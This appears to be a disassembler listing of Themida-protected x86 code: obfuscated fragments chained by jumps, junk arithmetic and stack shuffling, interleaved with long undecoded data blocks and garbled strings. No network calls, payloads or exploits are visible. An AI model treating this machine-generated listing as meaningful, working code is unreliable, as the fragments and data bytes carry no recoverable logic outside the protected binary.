		db 14h,	1, 0
; ---------------------------------------------------------------------------


loc_5531BB:				; CODE XREF: Themida_:00565A55j
		add	esp, 4
		push	edi
		push	esi
		jmp	loc_55839F
; ---------------------------------------------------------------------------
		dd 42474FFh, 8324048Bh,	3C8904ECh, 4484E924h, 0E95F0000h
		dd 0DA19h, 8904EC83h, 0EFE9240Ch
		db 6Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5531EB:				; CODE XREF: Themida_:005530CFj
		sub	ebp, 3B51190Ah
		jmp	loc_55EB11
; ---------------------------------------------------------------------------
		dw 0D101h
		dd 389AE9h, 24348700h, 240C895Ch, 6DFB6853h, 0C15B6837h
		dd 0F38108EBh, 0ABB17BAh, 685BD989h, 49DFh, 0B8240489h
		dd 2A5D4475h, 187FE9h
		db 0
; ---------------------------------------------------------------------------


loc_553229:				; CODE XREF: Themida_:00557E35j
		add	esp, 4
		jmp	loc_55FB38
; ---------------------------------------------------------------------------
		db 1, 0F0h, 8Bh
		dd 7DE92434h
		db 29h,	1, 0
; ---------------------------------------------------------------------------


loc_55323B:				; CODE XREF: Themida_:00553D54j
		mov	esp, [esp]
		xor	al, 33h
		jmp	loc_56312F
; ---------------------------------------------------------------------------


loc_553245:				; CODE XREF: Themida_:00561504j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_55B88D
; ---------------------------------------------------------------------------


loc_55324F:				; CODE XREF: Themida_:00554D16j
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5546DA
; ---------------------------------------------------------------------------


loc_553258:				; CODE XREF: Themida_:00557FF9j
		mov	ebp, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_55F373
; ---------------------------------------------------------------------------
		db 0E9h, 51h, 0F9h
		dd 0EE29FFFFh, 0E92434FFh, 0D146h, 0AE47D2BAh, 538FE927h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55327E:				; CODE XREF: Themida_:00553B03j
		pop	ebx
		pop	ecx
		mov	ecx, eax
		pop	eax
		sub	edx, ecx
		mov	ecx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		add	edx, eax
		push	ebx
		mov	ebx, 0A7D4D6Ah
		add	edx, ebx
		pop	ebx
		jmp	loc_552BBB
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0DAFBF681h, 0DDE944F5h, 2900013Bh, 76382DD0h, 0E95A33A0h
		dd 0A532h, 0F8F1E958h
		db 2 dup(0FFh)
word_5532CA	dw 30ACh		; DATA XREF: Themida_:005528E8o
		dd 4EC83D8h, 0B1240C89h, 12CEE9D5h, 0C5810000h,	4, 5C242C87h
		dd 0E9C88950h, 26C6h
; ---------------------------------------------------------------------------


loc_5532EC:				; CODE XREF: Themida_:005638F7j
		push	edx
		mov	edx, 4
		add	ecx, edx
		pop	edx
		add	ecx, 4
		push	ecx
		push	dword ptr [esp+4]
		pop	ecx
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_559CAA
; ---------------------------------------------------------------------------


loc_553309:				; CODE XREF: Themida_:00565E5Ej
		push	eax
		mov	eax, 0DA2EE60h
		mov	esi, eax
		pop	eax
		jmp	loc_561E02
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832414h, 4C48104h, 0C1000000h, 0EA8105E2h, 767E7B12h
		dd 134DE9h, 81D72900h, 941A81C7h, 2434FF07h, 99F0E9h
		db 0
byte_553341	db 66h,	8Bh, 24h	; DATA XREF: Themida_:00552A10o
		dd 0F871E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_55334A:				; CODE XREF: Themida_:005542E9j
		push	60ACh
		mov	[esp], ecx
		push	1000000h
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_5592E8
; ---------------------------------------------------------------------------


loc_553362:				; CODE XREF: Themida_:00561885j
		add	esp, 4
		push	2132h
		jmp	loc_563435
; ---------------------------------------------------------------------------
		db 66h
		dd 0F590C281h, 0E9D30166h, 1319Eh, 0E9F8005Ah, 7FB4h
; ---------------------------------------------------------------------------


loc_553384:				; CODE XREF: Themida_:0055BB3Fj
		add	ebp, esi
		add	ebp, 74A13BDFh
		jmp	loc_5566C8
; ---------------------------------------------------------------------------


loc_553391:				; CODE XREF: Themida_:0055BEFDj
		xor	dl, 1
		add	bh, dl
		mov	edx, [esp]
		jmp	loc_557BF5
; ---------------------------------------------------------------------------
		dw 0DEF7h
aBScS2l		db '│фу',0Ah
		db 'АC)нИ2L',0
		dd 5EF38900h, 10405E9h,	7BB95100h, 296F5B42h, 240C8BCFh
		dd 4C481h, 348B0000h, 4C48324h,	0EAEBE951h, 0F75F0000h
		dd 0DB5635D8h, 0C329CF32h, 0B817E9h, 43E18000h,	300DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5533E9:				; CODE XREF: Themida_:00555B43j
		and	eax, 34D87474h
		push	esi
		mov	esi, 267A5561h
		xor	eax, esi
		pop	esi
		jmp	loc_5619B3
; ---------------------------------------------------------------------------
		dd 0E0C0D0F6h, 0E91D0C05h, 9F7Fh, 0E9240489h, 5905h, 1AFCC681h
		dd 1C8B2939h, 4C48124h,	33000000h, 34312434h, 9A12E924h
		dd 0BD550000h, 4, 875DEA01h, 0E95C2414h, 0DB2Ch, 0E8285A66h
		dd 116E9h
		db 0
; ---------------------------------------------------------------------------


loc_553445:				; CODE XREF: Themida_:0055D707j
		pop	edi
		jmp	loc_55F45F
; ---------------------------------------------------------------------------
		db 4Eh
		dd 26DCCE81h, 0EED15C82h, 7C9EBA52h, 0EAC1735Fh, 0B5EA8102h
		dd 11233D9h, 1208E9D6h,	0C8B0001h, 0E9545224h, 463Bh, 0CDBDE95Fh
		dd 0E9510000h, 0E4BEh
; ---------------------------------------------------------------------------


loc_553480:				; CODE XREF: Themida_:005638E2j
		push	esi
		mov	esi, 156709F8h
		mov	eax, esi
		pop	esi
		jmp	loc_567C3C
; ---------------------------------------------------------------------------
		dw 815Fh
		dd 0F0042444h, 17C6309h, 8104245Ch, 0F004246Ch,	8B7C6309h
		db 1Ch,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_55E6A4
; ---------------------------------------------------------------------------
		dd 0FF240C89h, 59042474h, 8B24048Fh, 0CFE92424h
		db 45h,	2 dup(0)
aM0Hjv		db '╛0ьh╕V',0           ; DATA XREF: Themida_:00552950o
		dw 8900h
		dd 2368241Ch, 8900005Bh, 5250240Ch, 0C6FEB9B6h,	5104E6C0h
		dd 0E58027B5h, 0CACD809Fh, 0E952D5F6h, 10216h
; ---------------------------------------------------------------------------


loc_553504:				; CODE XREF: Themida_:0055D78Bj
		mov	edi, esp
		jmp	loc_566BA9
; ---------------------------------------------------------------------------
		db 81h
		dd 4C4h, 42F78100h, 117742Dh, 243C8BF9h, 4C481h, 7DE90000h
		dd 810000B4h, 0A4792BE5h, 7E5C148h, 26F581h, 26E982E1h
		dd 8B000094h, 0C483242Ch, 0E7895704h, 4C781h, 86E90000h
		dd 560000C9h, 0E260E9h
		db 0
; ---------------------------------------------------------------------------


loc_553555:				; CODE XREF: Themida_:00562B3Bj
		inc	ebx
		jmp	loc_55F15B
; ---------------------------------------------------------------------------
		db 59h
		dd offset dword_4EF14C+71Ch
		dd 240C8900h, 203DE9h
		db 0
; ---------------------------------------------------------------------------


loc_553569:				; CODE XREF: Themida_:0055969Ej
		pop	esi
		xor	esi, 222441CFh
		xchg	edx, esi
		add	edx, 0FFFFFFFFh
		jmp	loc_55C1DA
; ---------------------------------------------------------------------------


loc_55357D:				; CODE XREF: Themida_:00556DF3j
		mov	[esp], ebx
		mov	ebx, 0
		add	ebx, eax
		push	ecx
		jmp	loc_5589FA
; ---------------------------------------------------------------------------
		db 59h,	50h, 0B8h
		dd 16A34681h, 5583BB53h, 0D8291BCCh, 4EC835Bh, 906BE9h
		dd 2474FF00h, 0DF9E904h, 0EC830001h, 24048904h,	1CB8h
		dd 8BC38900h, 83532404h, 248904ECh, 24048124h, 4, 4BD555Bh
		dd 1000000h, 242C8BEBh,	4C481h,	0C3810000h, 4, 0E719E9h
		dd 0F7D58700h, 0A53CE9D2h, 248B0000h, 0EC835624h, 243C8904h
		dd 89D88950h, 2434FFC7h, 4EC8158h, 89000000h, 0E789243Ch
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 3C8BFE89h,	0E0895024h
		dd 405h, 3E886800h, 34890000h, 0D7685224h, 5A6D8D5Bh, 0A42DC281h
		dd 0D6899272h, 0E92434FFh, 51C3h
; ---------------------------------------------------------------------------


loc_55364C:				; CODE XREF: Themida_:00563290j
		xor	eax, edx
		pop	edx
		jmp	loc_556837
; ---------------------------------------------------------------------------


loc_553654:				; CODE XREF: Themida_:005647FCj
		mov	eax, esp
		jmp	loc_553A17
; ---------------------------------------------------------------------------


loc_55365B:				; CODE XREF: Themida_:005635C3j
		xor	eax, ecx
		push	1DACh
		mov	[esp], eax
		jmp	loc_563EDA
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 6851240Ch, 4E21h, 0E9242489h, 561Bh
; ---------------------------------------------------------------------------


loc_55367C:				; CODE XREF: Themida_:0055CC80j
		sub	esp, 4
		jmp	loc_55E23D
; ---------------------------------------------------------------------------


loc_553687:				; CODE XREF: Themida_:00566305j
		mov	eax, [esp]
		push	ebp
		push	esp
		pop	ebp
		jmp	loc_563498
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 48510A42h, 74765B05h, 7B32D22h, 0D801218Bh, 8B07B305h
		dd 765B2D21h, 1C8B2274h, 4C48324h, 31240433h, 4332404h
		dd 24248B24h, 9C2404D3h, 0FFF4F2E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5536C9:				; CODE XREF: Themida_:00560906j
		pop	edx
		push	esi
		push	ebp
		mov	ebp, 4CBB1536h
		jmp	loc_564787
; ---------------------------------------------------------------------------
		dw 0CD81h
		dd 39445285h, 8105E5C1h, 51A864C5h, 0B4C281C0h,	177AF47h
		dd 0B4EA81EAh, 0E977AF47h, 1878h, 2606C381h, 0CEE9078Dh
		dd 5A00009Eh, 0C07FE180h, 0E98005E9h, 59CB00C8h, 0E9C0B60Fh
		dd 0D085h
dword_553718	dd 2B60F66h, 4EC81h, 0D5E90000h	; DATA XREF: Themida_:00552B0Co
		db 6Bh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553727:				; CODE XREF: Themida_:0055BB61j
		xchg	ebp, [esp]
		jmp	loc_564801
; ---------------------------------------------------------------------------


loc_55372F:				; CODE XREF: Themida_:0055E0E5j
		add	edi, ebx
		sub	edi, 42E84D77h
		mov	ebx, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		jmp	loc_555757
; ---------------------------------------------------------------------------
		db 33h
		dd 7DE9240Ch, 8300003Ch, 3C8702C7h, 24248B24h, 8904EC83h
		dd 0DCE9240Ch, 81000076h, 0C6020CF2h, 8BD00100h, 89512414h
		dd 4A63E9E1h, 0CB810001h, 64B33055h, 111EB81h, 7FE92AD0h
		db 39h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55378B:				; CODE XREF: Themida_:00555C95j
		push	ebp
		mov	ebp, 727C279Bh
		and	ebp, 5C145EECh
		not	ebp
		neg	ebp
		add	ebp, 0B66DFB16h
		sub	ebx, ebp
		pop	ebp
		add	ebx, 37714215h
		jmp	loc_556646
; ---------------------------------------------------------------------------
		db 0C1h
		dd 0EFC106EFh, 8E7C104h, 85EAEF81h, 0FE31E680h,	81243C8Bh
		dd 4C4h, 3EEC100h, 135D8E9h
		db 0
; ---------------------------------------------------------------------------


loc_5537D1:				; CODE XREF: Themida_:00565D26j
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	21ECh
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_55CE1F
; ---------------------------------------------------------------------------


loc_5537EE:				; CODE XREF: Themida_:00556DE4j
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_558CEE
; ---------------------------------------------------------------------------


loc_5537F8:				; CODE XREF: Themida_:00567A95j
		mov	[esp], edi
		push	ebx
		push	ecx
		mov	ecx, 82E57DDh
		mov	ebx, ecx
		pop	ecx
		mov	edi, ebx
		pop	ebx
		mov	esi, edi
		pop	edi
		push	edi
		mov	edi, 65923259h
		jmp	loc_55AC8D
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 1875B924h, 21E941F0h, 0B3000083h, 0E9DC882Eh, 1196Eh
		dd 4BEh, 4126E900h, 0C1830000h,	4255E904h, 0D0280000h
		dd 8B66E504h, 0C4832414h, 5F376802h, 0C890000h,	0E94AB524h
		dd 0E92Eh
; ---------------------------------------------------------------------------


loc_553858:				; CODE XREF: Themida_:0055FF8Bj
		neg	dl
		add	dl, 0C3h
		mov	bl, dl
		mov	edx, [esp]
		add	esp, 4
		xor	bl, 14h
		push	ecx
		push	edx
		mov	dh, bl
		push	eax
		mov	ah, dh
		mov	ch, ah
		pop	eax
		pop	edx
		mov	dl, ch
		pop	ecx
		mov	ebx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5629FA
; ---------------------------------------------------------------------------


loc_553887:				; CODE XREF: Themida_:0055CCDEj
		add	eax, 4
		jmp	loc_56790F
; ---------------------------------------------------------------------------
		db 31h,	34h, 24h
		dd 5C243433h, 0F66E9F6h, 9368CCB6h, 89000058h, 0F5E9240Ch
		db 14h,	1, 0
; ---------------------------------------------------------------------------


loc_5538AB:				; CODE XREF: Themida_:0055637Bj
		pop	ecx
		add	edx, 8B10C510h
		jmp	loc_564FB6
; ---------------------------------------------------------------------------
		db 35h
		dd 386E5382h, 0D08E0C1h, 74F41E17h, 76729C25h, 55042D64h
		dd 0C5295D47h, 0E9DD0158h, 1E87h
; ---------------------------------------------------------------------------


loc_5538D8:				; CODE XREF: Themida_:005574E0j
		mov	[esp], ebx
		xor	dword ptr [esp], 56F269C5h
		mov	eax, [esp]
		push	edx
		sub	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	dword ptr [esp]
		jmp	loc_55EE4C
; ---------------------------------------------------------------------------
		db 83h
		dd 0EC8304C4h, 241C8904h, 4B951h, 0E9560000h, 0F2D9h, 0FFF2A6E9h
		dd 0FA895DFFh, 64C6815Fh, 1504646h, 64EE81D6h, 5A504646h
		dd 38C1E94Eh, 4BB0001h,	81000000h, 0D26943C6h, 81DE0138h
		dd 0D26943EEh, 2434FF38h, 5B2434FFh, 125C68h, 24348900h
		dd 0C681E689h, 4, 8704C683h, 835C2434h,	0C8904ECh, 50E18924h
		dd 4B8h, 8BC10100h, 0C4832404h,	0F5F9E904h, 835D0000h
		dd 895204C4h, 4C281E2h,	81000000h, 4EAh, 24148700h, 2404895Ch
		dd 2B8h, 0B7BB5300h, 81346676h,	6357C8F3h, 53F38174h, 5705782Ah
		dd 0C66D5DBFh, 0FFC7833Fh, 0DC73E9h, 30D6B900h,	0CE312052h
		dd 0AB6DE959h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5539C6:				; CODE XREF: Themida_:00563EF5j
		mov	ebx, [esp]
		jmp	loc_5616D4
; ---------------------------------------------------------------------------
		dw 0C15Bh
		dd 575003EDh, 7A30B951h, 7BBF0482h, 0E9083290h,	0F73h
		dd 8BEA0158h, 0C483242Ch, 39B36804h, 0C890000h,	4EC8124h
		dd 0E9000000h, 10C7h, 5C240C87h, 0C8EEEF81h, 0FD891465h
		dd 51243C8Bh, 0A5E9E189h
		db 64h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553A17:				; CODE XREF: Themida_:00553656j
		push	edx
		mov	edx, 4
		add	eax, edx
		jmp	loc_558BBF
; ---------------------------------------------------------------------------
		dd 2635352Dh, 52C8010Eh, 263535BAh, 1E2FE90Eh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553A36:				; CODE XREF: Themida_:00555CE3j
		mov	esi, 6BDD7A8Eh
		jmp	loc_55B913
; ---------------------------------------------------------------------------


loc_553A40:				; CODE XREF: Themida_:0055C844j
		pop	edx
		push	72D7h
		mov	[esp], ecx
		push	esp
		pop	ecx
		add	ecx, 4
		push	14DFh
		mov	[esp], edi
		mov	edi, 4
		add	ecx, edi
		mov	edi, [esp]
		jmp	loc_55BBF3
; ---------------------------------------------------------------------------


loc_553A68:				; CODE XREF: Themida_:0056018Bj
		push	ebx
		mov	ebx, 780F79B4h
		mov	ebp, ebx
		pop	ebx
		push	0E68h
		mov	[esp], ebx
		push	esi
		mov	esi, 2C1C196Dh
		push	ebp
		mov	ebp, 61C53D42h
		jmp	loc_558A85
; ---------------------------------------------------------------------------


loc_553A8A:				; CODE XREF: Themida_:005639C6j
		mov	ebp, esp
		push	eax
		mov	eax, 4
		jmp	loc_554792
; ---------------------------------------------------------------------------
		db 33h
		dd 77E92414h
		db 73h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553A9F:				; CODE XREF: Themida_:0055C1DCj
		add	esi, 147462CBh
		sub	esp, 4
		jmp	loc_55A9A1
; ---------------------------------------------------------------------------


loc_553AAD:				; CODE XREF: Themida_:00564E5Dj
		push	dword ptr [esp]
		pop	edx
		push	edx
		mov	edx, esp
		add	edx, 4
		push	esi
		mov	esi, 55CA34F5h
		inc	esi
		jmp	loc_561F31
; ---------------------------------------------------------------------------
		dw 0DE89h
		dd 0F0315F5Bh, 0E92434FFh, 4761h
; ---------------------------------------------------------------------------


loc_553AD4:				; CODE XREF: Themida_:005574D7j
		pop	edi
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_5565F7
; ---------------------------------------------------------------------------


loc_553AE0:				; CODE XREF: Themida_:00559B81j
		pop	ebp
		sub	ebp, 28A4CEA6h
		push	ebp
		add	dword ptr [esp], 6C2A40D3h
		pop	ebx
		sub	ebx, 6C2A40D3h
		pop	ebp
		jmp	loc_560757
; ---------------------------------------------------------------------------


loc_553AFC:				; CODE XREF: Themida_:0056772Aj
		add	eax, ebx
		add	eax, 66636A4Dh
		jmp	loc_55327E
; ---------------------------------------------------------------------------


loc_553B08:				; CODE XREF: Themida_:0055A872j
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, esp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 631E47BAh
		add	ecx, 23651C99h
		jmp	loc_56159C
; ---------------------------------------------------------------------------


loc_553B2A:				; CODE XREF: Themida_:005572D6j
		mov	ebx, 1EF23C29h
		and	ebx, 4D3F1F19h
		jmp	loc_563779
; ---------------------------------------------------------------------------


loc_553B3A:				; CODE XREF: Themida_:0055F270j
		push	ebx
		mov	ebx, 68CB05D0h
		push	7CB00757h
		pop	eax
		xor	eax, ebx
		pop	ebx
		xchg	eax, ecx
		not	ecx
		jmp	loc_563170
; ---------------------------------------------------------------------------
		db 52h,	89h, 0E2h
		dd 4C281h, 0C2830000h, 24148704h, 0BF8DE95Ch
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_553B66:				; CODE XREF: Themida_:005627F6j
		add	ebx, ecx
		pop	ecx
		jmp	loc_556943
; ---------------------------------------------------------------------------
aCbQrSM		db 'C│кзq░^Ию╛',0
		align 2
		dw 0C181h
		dd 4, 4E981h, 0C870000h, 2BE95C24h
		db 0F8h, 2 dup(0)
; ---------------------------------------------------------------------------


loc_553B8F:				; CODE XREF: Themida_:00559594j
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_553BA3:				; CODE XREF: Themida_:005559EBj
		add	edi, 4
		push	ebp
		mov	ebp, 4
		add	edi, ebp
		pop	ebp
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		push	esp
		jmp	loc_56553F
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C4832404h, 0E93A0404h, 0FFFFF5B9h, 5AD0295Dh, 0B7A9E9h
		db 0
; ---------------------------------------------------------------------------


loc_553BD5:				; CODE XREF: Themida_:00557AF9j
		mov	cl, 88h
		add	bl, cl
		pop	ecx
		pop	edx
		push	ebx
		push	2F9Ah
		mov	[esp], edx
		push	eax
		push	69E377D3h
		jmp	loc_55854B
; ---------------------------------------------------------------------------
		db 0FEh
		dd 0CAEE80CEh, 4CF5E9h,	7878BD00h, 0CBE0582h, 816BDA90h
		dd 2D70EEEEh, 84C68148h, 817D737Eh, 0B578C8C6h,	0E9EE0158h
		dd 10432h, 87EF814Fh, 1CB7C95h,	0F2E95FFDh
		db 8Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_553C2B:				; CODE XREF: Themida_:005562B0j
		xor	edi, 20F30543h
		neg	edi
		neg	edi
		push	ecx
		mov	ecx, 0
		jmp	loc_555B7F
; ---------------------------------------------------------------------------
		dd 8ADBC168h, 0C52958BAh, 88E58158h, 816CE121h,	49178BC5h
		dd 9C08E910h, 0EC830000h, 24348904h, 4CE9E689h
		db 2, 2	dup(0)
; ---------------------------------------------------------------------------


loc_553C67:				; CODE XREF: Themida_:0055A70Bj
		sub	edi, esi
		mov	esi, [esp]
		jmp	loc_566248
; ---------------------------------------------------------------------------
		db 5Fh,	81h, 0C5h
		dd 18102486h, 5310C581h, 0FD01782Eh, 1C42E953h,	53660001h
		dd 4F0494B3h, 0C237E9h
		db 0
; ---------------------------------------------------------------------------


loc_553C91:				; CODE XREF: Themida_:00556DBAj
		push	ebx
		mov	ebx, 15E05A5h
		sub	ebx, 20E14DAAh
		jmp	loc_55AC67
; ---------------------------------------------------------------------------


loc_553CA2:				; CODE XREF: Themida_:0055D8E3j
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_552BBB
; ---------------------------------------------------------------------------


loc_553CB0:				; CODE XREF: Themida_:0055E995j
		pop	esp
		push	6FB8h
		mov	[esp], ebx
		sub	dword ptr [esp], 332326EBh
		mov	ebp, [esp]
		add	esp, 4
		add	ebp, 332326EBh
		mov	ebx, [esp]
		add	esp, 4
		sub	dword ptr [esp+4], 6B544212h
		add	[esp+4], ebp
		add	dword ptr [esp+4], 6B544212h
		pop	ebp
		pop	dword ptr [eax]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, 5EF6B90h
		shl	edi, 3
		jmp	loc_5562D1
; ---------------------------------------------------------------------------
		dd 2B850h, 0C5010000h, 4EC8358h, 0FF242C89h, 5D042474h
		dd 5C24048Fh, 0F66E1F6h, 6866CCB6h, 8966683Ch, 0F66240Ch
		dd 5166C8B6h, 0EE7DE99Ch, 0C483FFFFh, 0E3895304h, 4BD55h
		dd 0EB010000h, 1DF7E9h
		db 0
; ---------------------------------------------------------------------------


loc_553D51:				; CODE XREF: Themida_:00559C8Bj
		xchg	ebp, [esp]
		jmp	loc_55323B
; ---------------------------------------------------------------------------
		db 66h,	53h, 88h
		dd 88D3F6C3h, 865B66D8h, 8B012444h, 89512414h, 4C181E1h
		dd 81000000h, 4C1h, 240C8700h, 23F6805Ch, 5774E9h
		db 0
; ---------------------------------------------------------------------------


loc_553D85:				; CODE XREF: Themida_:0055886Ej
		pop	ecx
		jmp	loc_55E4B1
; ---------------------------------------------------------------------------
		db 1
aUsS		db 'НИ╣▒',0
		align 2
		dw 590Dh
		dd 40688548h, 461C352Dh, 0E9C701B4h, 0BCE2h, 4246C81h
		dd 33205DF8h, 5E2434FFh, 4C481h, 34FF0000h, 24348B24h
		dd 11D40E9h
		db 0
; ---------------------------------------------------------------------------


loc_553DC1:				; CODE XREF: Themida_:0055AFC8j
		dec	eax
		sub	esp, 4
		mov	[esp], edx
		jmp	loc_55C4A0
; ---------------------------------------------------------------------------
		dd 1A5127BFh, 5FFD3170h, 505DEB29h, 7A5D68h, 243C8900h
		dd 85677DBFh, 7E7C172h,	73B3EF81h, 0F889E5BEh, 58C3215Fh
		dd 8904EC83h, 6853243Ch, 281615FDh, 1CF3815Bh, 8169C34Bh
		dd 0FFFFFFC3h, 4EC81FFh, 89000000h, 0E5682414h,	5A1F333Ch
		dd 6DD8CA81h, 0F74234CFh, 2ECA81DAh, 81594849h,	0CECF8EF2h
		dd 5AD331D4h, 215BDF89h, 4FE95FFBh
		db 0F8h, 2 dup(0FFh)
byte_553E43	db 0ACh			; DATA XREF: Themida_:00552B14o
		dd 4EC81h, 0C890000h, 4EC8324h,	0E9240489h, 6B97h, 61F5814Dh
		dd 4D27365Ch, 4768C581h, 0F5815632h, 0DC052096h, 1AE9EF21h
		db 1Bh,	1, 0
; ---------------------------------------------------------------------------


loc_553E73:				; CODE XREF: Themida_:00554F9Fj
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		shr	ecx, 0Ah
		jmp	loc_5620D0
; ---------------------------------------------------------------------------
		dw 1C89h
aSA		db '$И{М',0
		align 2


loc_553E8A:				; CODE XREF: Themida_:0055E02Aj
		mov	[esp], ebp
		push	1CB0h
		mov	[esp], esi
		mov	esi, 2A715B7h
		push	edx
		mov	edx, 1E5B913Eh
		jmp	loc_55E7DB
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 0FF04C483h, 8E92434h, 55000086h, 1D03BA52h, 51576B92h
		dd 1D73E9h
		db 0
; ---------------------------------------------------------------------------


loc_553EC1:				; CODE XREF: Themida_:00564E98j
		add	esp, 4
		mov	ecx, [esp]
		add	esp, 4
		mov	ebp, [esp]
		jmp	loc_563DFF
; ---------------------------------------------------------------------------


loc_553ED2:				; CODE XREF: Themida_:00564A74j
		mov	ecx, [esp]
		jmp	loc_5635A6
; ---------------------------------------------------------------------------
		dw 4868h
		dd 5E265969h, 8107EEC1h, 77F030C6h, 0FAFE9DDh, 0ED800001h
		dd 0E95866E8h, 976h, 4CB0E95Bh,	0C890000h, 0E9B1B124h
		dd 11D3Eh
; ---------------------------------------------------------------------------


loc_553F08:				; CODE XREF: Themida_:00558374j
		xor	ebx, edi
		pop	edi
		shr	ebx, 8
		and	ebx, 2A8C34A8h
		push	edi
		mov	edi, 2C645C2Bh
		xor	edi, 7B770B66h
		sub	esp, 4
		mov	[esp], ebx
		jmp	loc_55A3D4
; ---------------------------------------------------------------------------


loc_553F2E:				; CODE XREF: Themida_:00567F9Aj
		add	ecx, 4
		sub	ecx, 4
		jmp	loc_566F96
; ---------------------------------------------------------------------------


loc_553F3C:				; CODE XREF: Themida_:0055EC46j
		shr	edi, 4
		jmp	loc_5646A6
; ---------------------------------------------------------------------------
		dd 0E207D5B8h, 8E8C112h, 0AB2B4B0Dh, 4825483Dh,	0C10EAD3Eh
		dd 0B93506E0h, 310F1E95h, 0F80158C7h, 0FFF469E9h, 0E8BD55FFh
		dd 8141A13Fh, 0E02D7EC7h, 8AEF8110h, 29275D07h,	8AC781EFh
		dd 81275D07h, 0E02D7EEFh, 81475D10h, 0B967EAC7h, 0EA8141h
		dd 104D607h, 0C281FAh, 0FF04D607h, 835F2434h, 148704C4h
		dd 24248B24h, 9C2404D2h, 0FFEC06E9h, 0E0C15AFFh, 2AF3E904h
		dd 93BF0000h, 815ADC09h, 3427D7F7h, 0B4EE927h, 0DFF70000h
		dd 43BDE781h, 0C781484Fh, 0FFBFFDECh, 0E34EE9h
		db 0
; ---------------------------------------------------------------------------


loc_553FE1:				; CODE XREF: Themida_:00566F50j
		mov	ebx, 5E79482Ah
		xor	eax, ebx
		pop	ebx
		not	eax
		not	eax
		jmp	loc_560918
; ---------------------------------------------------------------------------
		dw 0D001h
		dd 8904EC83h, 67BA2414h, 68658B27h, 6C9Dh, 0E9241489h
		dd 5C3Bh, 8B240433h, 8B662424h,	1FE92414h, 5000003h, 33A07638h
		dd 0FFF292E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_554025:				; CODE XREF: Themida_:0055BCBCj
		add	ebx, edx
		pop	edx
		jmp	loc_55D4B9
; ---------------------------------------------------------------------------
byte_55402D	db 66h,	8Bh, 4		; DATA XREF: Themida_:00552A74o
		dd 0FF545124h, 0C8B2434h, 4C48324h, 0B3AE950h, 48B0000h
		dd 4C48124h, 5F000000h,	0FFEB6AE9h, 16CA80FFh, 80F5CA80h
		dd 0C28053EAh, 8BD130F6h, 82E92414h, 290000B9h,	81585DEFh
		dd 0D051EBC7h, 6850h, 3C290000h, 53AEE924h, 248B0000h
		dd 241C8924h, 0D2E9E389h, 0FF000023h, 57582434h, 76ABE9h
		dd 2C48300h, 66F58766h,	45C8F581h, 0FFE82966h, 2C8B2434h
		dd 84E95324h, 58000073h, 81E28952h, 4C2h, 4C28100h, 87000000h
		dd 3E92414h, 50000122h,	0B4242C81h, 5951F654h, 54B4C181h
		dd 48B51F6h, 4C48124h, 81000000h, 53AFAE1h, 0F1814151h
		dd 1D9D4FD7h, 2E95152h,	0BB000123h, 266611F9h, 0EE0BC381h
		dd 0DE01D999h, 4C6835Bh, 416468h, 24348900h, 42474FFh
		dd 8324348Bh, 48F04C4h,	24248B24h, 1B4868h, 24148900h
		dd 0A2CEE9h, 0EB814B00h, 52BF2662h, 1C8BDA01h, 0ECECE924h
		dd 1C890000h, 34D4BB24h, 0EBC1799Dh, 812EE908h,	0B8BA0000h
		dd 424CDC4Ah, 1CE2C281h, 0EA8148F1h, 67F42F7Dh,	7540EA81h
		dd 0F2816674h, 0C764C2DAh, 815AD089h, 0C020BBC1h, 81C1011Fh
		dd 0C020BBE9h, 0BD55581Fh, 2, 0F78BF57h, 0E7C11B3Bh, 4EC8102h
		dd 89000000h, 34B9240Ch, 3132A404h, 240C8BCFh, 0FFF36AE9h
